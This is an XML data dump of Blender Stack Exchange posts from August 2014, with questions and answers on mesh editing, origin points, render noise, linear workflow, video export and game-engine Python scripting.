  <row Id="15134" PostTypeId="2" ParentId="15110" CreationDate="2014-08-20T06:39:17.457" Score="2" Body="&lt;p&gt;Step 1)  Make a plane then enter Edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2)  Use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;m&lt;/kbd&gt; to merge the points of the plane to a single point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3)  Use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + mouse-click to extrude points out.(Which mouse button depends on whether you have right or left click as default... I think...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 4)  Add a sphere to a different layer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 5)  Add a particle system to the lines using the settings that I've circled in the following image.  The image also shows what an OpenGL render will look like using the default settings.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(remember to right-click any images that are difficult to see and choose -&gt; 'View Image' to see the larger version)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6BJjs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add a skin modifier and using default settings, enter Edit mode and select all the points.  Now scale all the points using &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;, so far as I know this is the only tool that uses &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;.  Normally scaling is done with &lt;kbd&gt;s&lt;/kbd&gt; or by normals using &lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;s&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's pretty much it except that I did apply the Particle System in the modifier tab and since there may be overlapping spheres at some of the 'tree' vertices, you may want to join all the spheres then enter Edit mode, select everything using &lt;kbd&gt;a&lt;/kbd&gt; and then use the Remove Doubles tool to clear up any overlapping vertices.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7vsO9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-08-20T07:01:16.377" LastActivityDate="2014-08-20T07:01:16.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15135" PostTypeId="1" AcceptedAnswerId="15147" CreationDate="2014-08-20T06:50:47.887" Score="1" ViewCount="444" Body="&lt;p&gt;I'm trying to script some things in version 2.71.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the controller of a script, I have tried bge.logic.getCurrentController , but bge apparently is not present (unable to import). I've also tried bpy.ops.logic.getCurrentController , but logic does not have getCurrentController&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something obvious I'm missing? or what new command replaced this functionality?&#xA;This roadblock is wasting a lot of time that could have been very productive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated&lt;/p&gt;&#xA;" OwnerUserId="5679" LastActivityDate="2014-08-20T15:29:24.897" Title="bge.logic.getCurrentController not available in 2.71?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15136" PostTypeId="1" CreationDate="2014-08-20T07:01:55.473" Score="1" ViewCount="546" Body="&lt;p&gt;After appending an action into a blend file, is it possible to associate the appended action with a specific user? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I append &lt;em&gt;actioned&lt;/em&gt; geometry or nodes, typically the action moves with them; but if I just append the action, then I will get the action datablock appended but without being linked to any object. How can I link the appended action to the required object on the stage (or somewhere else)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry it is a bit of an awkward question; I hope it is understandable. Let me know if you require any further information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sept &lt;/p&gt;&#xA;" OwnerUserId="5606" LastActivityDate="2015-01-18T06:07:05.593" Title="Can i change the User an Action is associated with?" Tags="&lt;animation&gt;&lt;append&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15137" PostTypeId="1" AcceptedAnswerId="15169" CreationDate="2014-08-20T07:02:08.243" Score="4" ViewCount="1286" Body="&lt;p&gt;I have a piano keyboard, so there are 88 individual keys. Unfortunately, I left the origins in the centers of each key. As a result, I can't rotate them properly. I could go through each one and manually correct each key, but that would be a huge pain. Is there a way to set them all at once? (I only need to move the x location on each key, in case that makes a difference).&lt;/p&gt;&#xA;" OwnerUserId="3326" LastEditorUserId="5426" LastEditDate="2017-09-13T16:55:26.327" LastActivityDate="2017-09-13T16:55:26.327" Title="Is there a simple way to change the origin point of a lot of objects at once?" Tags="&lt;interface&gt;&lt;objects&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15138" PostTypeId="2" ParentId="15137" CreationDate="2014-08-20T08:03:46.103" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;Select all your piano keys. &lt;/li&gt;&#xA;&lt;li&gt;Set your 3D cursor to the location where you want your point of rotation. &lt;/li&gt;&#xA;&lt;li&gt;Object -&gt; Transform -&gt; Origin To 3D Cursor&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That will set the origin for all the piano keys at once.&lt;/p&gt;&#xA;" OwnerUserId="5122" LastActivityDate="2014-08-20T08:03:46.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15139" PostTypeId="2" ParentId="15108" CreationDate="2014-08-20T08:04:41.183" Score="1" Body="&lt;p&gt;Oh okay I figured it out. I had a hidden object at the same position as my floor. Woupsi..&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2014-08-20T08:04:41.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15141" PostTypeId="1" CreationDate="2014-08-20T09:19:10.010" Score="4" ViewCount="2802" Body="&lt;p&gt;How to get orientation of the local axis in python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.imgur.com/dxLD26q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/dxLD26q.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="599" LastEditDate="2014-08-20T09:21:51.607" LastActivityDate="2018-11-11T19:42:12.883" Title="How to get local axis orientation in Python?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15142" PostTypeId="1" CreationDate="2014-08-20T11:28:03.373" Score="46" ViewCount="240959" Body="&lt;p&gt;Yesterday I was working on a simple animation, an animated logo. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of the progress:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H6fWi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have the animation working and everything is okay with the project, but I can't figure out how I can render the animation and turn it into an AVI format video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I render an animation in Blender?&lt;/p&gt;&#xA;" OwnerUserId="5460" LastEditorUserId="3127" LastEditDate="2015-10-31T01:19:58.493" LastActivityDate="2020-10-16T15:37:58.803" Title="How to render an animation as video in Blender?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;export&gt;&lt;video&gt;&lt;file-format&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="15143" PostTypeId="1" AcceptedAnswerId="19611" CreationDate="2014-08-20T11:54:18.153" Score="7" ViewCount="7191" Body="&lt;p&gt;As mentioned in the title of this post I am just struggling with the noise in my render result. I am not talking about fireflies, I am talking about actual noise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read a lot about how to improve the result by increasing the amount of samples and stuff, but for the following result I already sampled the image 2500 times. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JsKxz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the scene is quite simple. I modelled a room with multiple spotlights in the ceiling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uocHn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In full resolution I have a lot of noise in the darker areas, even after 2500 samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The target of the project is to make 3-5 sec camera animations, that lead from one hot spot in one room to another (the showroom isn't finished yet btw).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image took me about 12 minutes to render on renderstreet. And regarding the finished project, it would take me about 74 hours to render only one animation with this noisy result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, how can I get a cleaner result with less samples, so it will render faster?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added my .blend file for you to download. I deleted the glass stuff in the middle of the room because I want my client to be anonymous).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.file-upload.net/download-9405390/main.blend.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.file-upload.net/download-9405390/main.blend.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;-Marten&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="5376" LastEditDate="2014-08-20T13:40:31.860" LastActivityDate="2015-12-30T18:56:05.860" Title="Reducing noise in interior Scenes caused by many lights using Cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;animation&gt;" AnswerCount="2" CommentCount="17" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15145" PostTypeId="2" ParentId="15142" CreationDate="2014-08-20T14:41:34.157" Score="49" Body="&lt;p&gt;You have created an animation and want to make it into a final video format. Here are the steps -&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Choose an &lt;strong&gt;output&lt;/strong&gt; location for your animation under the Output Settings tab by clicking on &amp;quot;Output&amp;quot;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;strong&gt;Path&lt;/strong&gt; to the folder where you want your output files to be saved, whether it is rendered as image files or a video file.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lIoxL.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lIoxL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Before you make a video file of your animation, it is a good idea to render it as an &lt;strong&gt;Image Sequence&lt;/strong&gt; first. If you render it directly to a video file, you can't stop/pause the render or there is a chance that you will get a corrupted file and have to render all of the frames all over again. Having an image sequence will allow you to experiment with different formats for and settings for encoding to video.&lt;/p&gt;&#xA;&lt;p&gt;(If you want to render directly to video without saving as images, skip to step 8)&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;When you have chosen an output directory for your Image Sequence, choose an &lt;strong&gt;Image Format&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SriJh.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SriJh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;On the main menu Select Render &amp;gt; Render Animation (or press the shortcut &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;F12&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ukL5R.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ukL5R.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Blender will now start rendering the scene frames one by one.&lt;/p&gt;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;When the rendering is finished you will have a lot of numbered images. To &lt;strong&gt;encode them as a single video file&lt;/strong&gt;, start a new project and choose New &amp;gt; Video Editing.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7qoqy.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7qoqy.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;On the Sequencer window, click on Add &amp;gt; Image Sequence&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2r2sv.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2r2sv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all of the image files of your animation with &lt;kbd&gt;A&lt;/kbd&gt; and click on &amp;quot;Add image strip&amp;quot;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the Properties Window now select &lt;strong&gt;FFmpeg video&lt;/strong&gt; as File format.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Irrxf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Irrxf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;A new tab will appear with &lt;strong&gt;Encoding&lt;/strong&gt; options.&lt;/p&gt;&#xA;&lt;p&gt;There you can select the &lt;strong&gt;Container&lt;/strong&gt; and the &lt;strong&gt;Codec&lt;/strong&gt; for the output video file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Digital_container_format&quot; rel=&quot;noreferrer&quot;&gt;Container&lt;/a&gt; is the file format for the file, (Mov, Avi, Ogg, MP4, to name a few) sometimes is referred as a &amp;quot;wrapper&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Video_codec&quot; rel=&quot;noreferrer&quot;&gt;Codec&lt;/a&gt; (short for Compression-Decompression) Is how the image is compressed. The picture quality, file size and processing power needed to view the file are largely determined by the kind of codec used and the settings used for it.&lt;/p&gt;&#xA;&lt;ol start=&quot;9&quot;&gt;&#xA;&lt;li&gt;On the main menu Select Render &amp;gt; Render Animation (or press the shortcut &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;F12&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ukL5R.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ukL5R.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The result of this will be a video file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;----------&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;For older versions of blender (previous to 2.79)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The options to choose formats are like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OdfeJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Choose a video format for your animation here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VufzA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Render Animation&amp;quot; is located in &amp;quot;Render&amp;quot; tab.&lt;/p&gt;&#xA;&lt;p&gt;To open the video editor click on &amp;quot;Choose screen layout&amp;quot; and then &amp;quot;Video Editing&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l9cC8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZKsOi.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="92768" LastEditorDisplayName="user1853" LastEditDate="2020-10-16T15:37:58.803" LastActivityDate="2020-10-16T15:37:58.803" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="15146" PostTypeId="2" ParentId="15137" CreationDate="2014-08-20T15:05:29.580" Score="1" Body="&lt;p&gt;You can also move the objects in object mode, then counter the movement in edit mode, This probably won't be less work, but I'm adding this for the sake of completeness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Gif showing the process.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/u4Qfl.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-08-20T15:05:29.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15147" PostTypeId="2" ParentId="15135" CreationDate="2014-08-20T15:29:24.897" Score="4" Body="&lt;p&gt;My understanding is that you must run your python script from a controller brick. The import will not work from the TEXT view. For example, the following simple script prints hello in the system console (Window-&gt;Toggle System Console) when the h key is pressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hhtn4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking on the 'Run Script' button in the TEXT view will not work.&lt;/p&gt;&#xA;" OwnerUserId="5668" LastActivityDate="2014-08-20T15:29:24.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15148" PostTypeId="2" ParentId="15141" CreationDate="2014-08-20T15:55:55.203" Score="3" Body="&lt;p&gt;As Codemax answered. Thanks to him. Here is an example how i can rotate Localy an active object at Y-Axis.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;activeObj = bpy.context.scene.objects.active&#xA;activeObjMatrix = activeObj.matrix_world&#xA;theAxis = (activeObjMatrix[0][1], activeObjMatrix[1][1], activeObjMatrix[2][1])&#xA;bpy.ops.transform.rotate(value=rotateValue, axis=theAxis)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="911" LastActivityDate="2014-08-20T15:55:55.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15149" PostTypeId="1" CreationDate="2014-08-20T16:03:37.540" Score="3" ViewCount="854" Body="&lt;p&gt;This one seems a little strange, but I've run into this problem several times while creating shape keys for some objects for motion graphics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to animate an object with shape keys, and I need to create the symmetric one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pc1bim.png&quot; alt=&quot;shape key 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s2tSXm.png&quot; alt=&quot;shape key 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I can't use &quot;Mirror Shape key&quot;, as it fails because it doesn't have a global X axis symmetry.&lt;/li&gt;&#xA;&lt;li&gt;I can't scale it (-1) in the X axis, as it changes the vertex order, and breaks the animation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My actual solution, is to make a duplicate, scale it (-1) in the X axis, and then move all the vertices in the original mesh with vertex snap into the new position. But it can get quite tedious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0f5e9m.png&quot; alt=&quot;my solution&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a better solution?&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="2217" LastEditDate="2014-08-20T17:44:19.700" LastActivityDate="2014-08-20T17:44:19.700" Title="Mirror shape key with own symmetry axis" Tags="&lt;mirror&gt;&lt;shape-keys&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15150" PostTypeId="1" AcceptedAnswerId="15151" CreationDate="2014-08-20T16:14:13.627" Score="6" ViewCount="1628" Body="&lt;p&gt;I have these 2 edge loops and I want to scale them to be further apart, but using &lt;kbd&gt;S&lt;/kbd&gt; + &lt;kbd&gt;X&lt;/kbd&gt; and dragging the mouse won't move (along the Y and Z axis it works). I can set them apart manually by taking each one and moving it using G but I want them to be equally apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n7MZP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a 'perspective' view of the shape, maybe I did something wrong that prevents me from scaling those loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M4htn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5603" LastActivityDate="2014-08-20T16:18:29.760" Title="Can't scale two edge loops around the X axis" Tags="&lt;edges&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15151" PostTypeId="2" ParentId="15150" CreationDate="2014-08-20T16:18:29.760" Score="9" Body="&lt;p&gt;You have 'Individual Origins' set as your pivot point for transformations in the 3D view header toolbar. At the minute each loop is scaling towards it's &lt;em&gt;individual&lt;/em&gt; origin but because the loops have no thickness themselves nothing appears to be happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need 'Median Point' set:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kFnn4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will find the point in between the two edgeloops in 3d space and use that as the origin for transformations.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-08-20T16:18:29.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15152" PostTypeId="2" ParentId="15126" CreationDate="2014-08-20T16:34:00.647" Score="3" Body="&lt;p&gt;You can not use the Loop Cut tool because you have an n-gon (face with more than 4 vertices, in your case 5) on the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Loop Cut tool only works with quads (faces with 4 vertices).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First use &lt;strong&gt;Dissolve Edges&lt;/strong&gt; then immediately after use &lt;strong&gt;Dissolve Vertices&lt;/strong&gt;; Or update to the newest version and use &lt;strong&gt;Dissolve Edges and Vertices&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="3078" LastEditDate="2014-08-20T18:56:26.143" LastActivityDate="2014-08-20T18:56:26.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15153" PostTypeId="1" CreationDate="2014-08-20T16:44:11.807" Score="2" ViewCount="1642" Body="&lt;p&gt;For a single vertex, how can I create a list of all the vertices connected directly or indirectly to it?&#xA;Similar to &lt;em&gt;Select Linked&lt;/em&gt; but without actually selecting anything.&lt;/p&gt;&#xA;" OwnerUserId="904" LastEditorUserId="2217" LastEditDate="2014-08-20T17:45:16.227" LastActivityDate="2014-10-22T19:58:50.647" Title="bmesh/python - list directly or indirectly connected verts" Tags="&lt;python&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15154" PostTypeId="1" CreationDate="2014-08-20T18:32:34.433" Score="10" ViewCount="6800" Body="&lt;p&gt;Most of you probably/hopefully heard of the &lt;strong&gt;Linear Workflow&lt;/strong&gt; before. I've been doing a lot of research lately in regard to this topic and I am happy to say that I think I finally understood the theory of it. But my problem is that I am not really sure &lt;strong&gt;how to make use of it in practice&lt;/strong&gt; now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an image that shows the &lt;strong&gt;difference between linear and non-linear&lt;/strong&gt; workflow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XaDdA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Images from greyscalegorilla.com&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum all this up, &lt;strong&gt;linear&lt;/strong&gt; workflow helps you to get better and &lt;strong&gt;more realistic render results&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know is, &lt;strong&gt;how do I work in Blender with this technique?&lt;/strong&gt; I read about &lt;strong&gt;Gamma Correcting&lt;/strong&gt; my image textures before importing them into Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it necessary to do that &lt;strong&gt;in Photoshop or&lt;/strong&gt; can I simply add a gamma correction &lt;strong&gt;in the Node Editor?&lt;/strong&gt; And, when do I add the final Gamma adjustment to my render, &lt;strong&gt;in post processing?&lt;/strong&gt; It's just not clear to me at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some resources about the issue:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.loramel.net/blender_minutes/2009/01/linear-workflow-in-blender/&quot; rel=&quot;noreferrer&quot;&gt;http://www.loramel.net/blender_minutes/2009/01/linear-workflow-in-blender/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://greyscalegorilla.com/blog/tutorials/what-is-linear-workflow-and-how-can-it-help-your-renders-look-better/&quot; rel=&quot;noreferrer&quot;&gt;http://greyscalegorilla.com/blog/tutorials/what-is-linear-workflow-and-how-can-it-help-your-renders-look-better/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.pixsim.co.uk/downloads/The_Beginners_Explanation_of_Gamma_Correction_and_Linear_Workflow.pdf&quot; rel=&quot;noreferrer&quot;&gt;http://www.pixsim.co.uk/downloads/The_Beginners_Explanation_of_Gamma_Correction_and_Linear_Workflow.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="3710" LastEditDate="2015-01-15T08:44:22.803" LastActivityDate="2018-06-10T20:16:43.647" Title="How to put a Linear Workflow in practice with Cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;workflow&gt;&lt;light&gt;&lt;color-management&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15155" PostTypeId="1" AcceptedAnswerId="15216" CreationDate="2014-08-20T19:15:39.190" Score="1" ViewCount="605" Body="&lt;p&gt;I am using Blender 2.71 and Ubuntu 14.04&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a module, external to Blender, installed thanks to its &lt;code&gt;setup.py&lt;/code&gt; inside my &lt;code&gt;/usr/local/lib/python3.4/dist-packages&lt;/code&gt; (the result of the build is an &lt;code&gt;.so&lt;/code&gt; file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After copying this one inside &lt;code&gt;&amp;lt;my_blender_folder&amp;gt;/scripts/addons/&lt;/code&gt; , it's working, but only when using the Embedded Player; When using the Standalone Player, the module is &lt;em&gt;not found anymore&lt;/em&gt;.&#xA;I've tried to copy the &lt;code&gt;.so&lt;/code&gt; file inside the folder where the Blender executable is, but it's not found either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this module not being found, when using the Standalone Player?&lt;/p&gt;&#xA;" OwnerUserId="5640" LastEditorUserId="5640" LastEditDate="2014-08-22T20:16:44.153" LastActivityDate="2014-08-22T20:16:44.153" Title="Module Import Error in the Standalone Player" Tags="&lt;game-engine&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15156" PostTypeId="2" ParentId="14691" CreationDate="2014-08-20T20:24:04.187" Score="2" Body="&lt;p&gt;I found the solution! It was the Anti-Alias setting on the ID-Mask node that was causing the problem. Apparently it was causing the render of those thin lines to be patchy, resulting in a patchy blur. Once I turned off the Anti-Alias, everything was fine!&lt;/p&gt;&#xA;" OwnerUserId="5477" LastActivityDate="2014-08-20T20:24:04.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
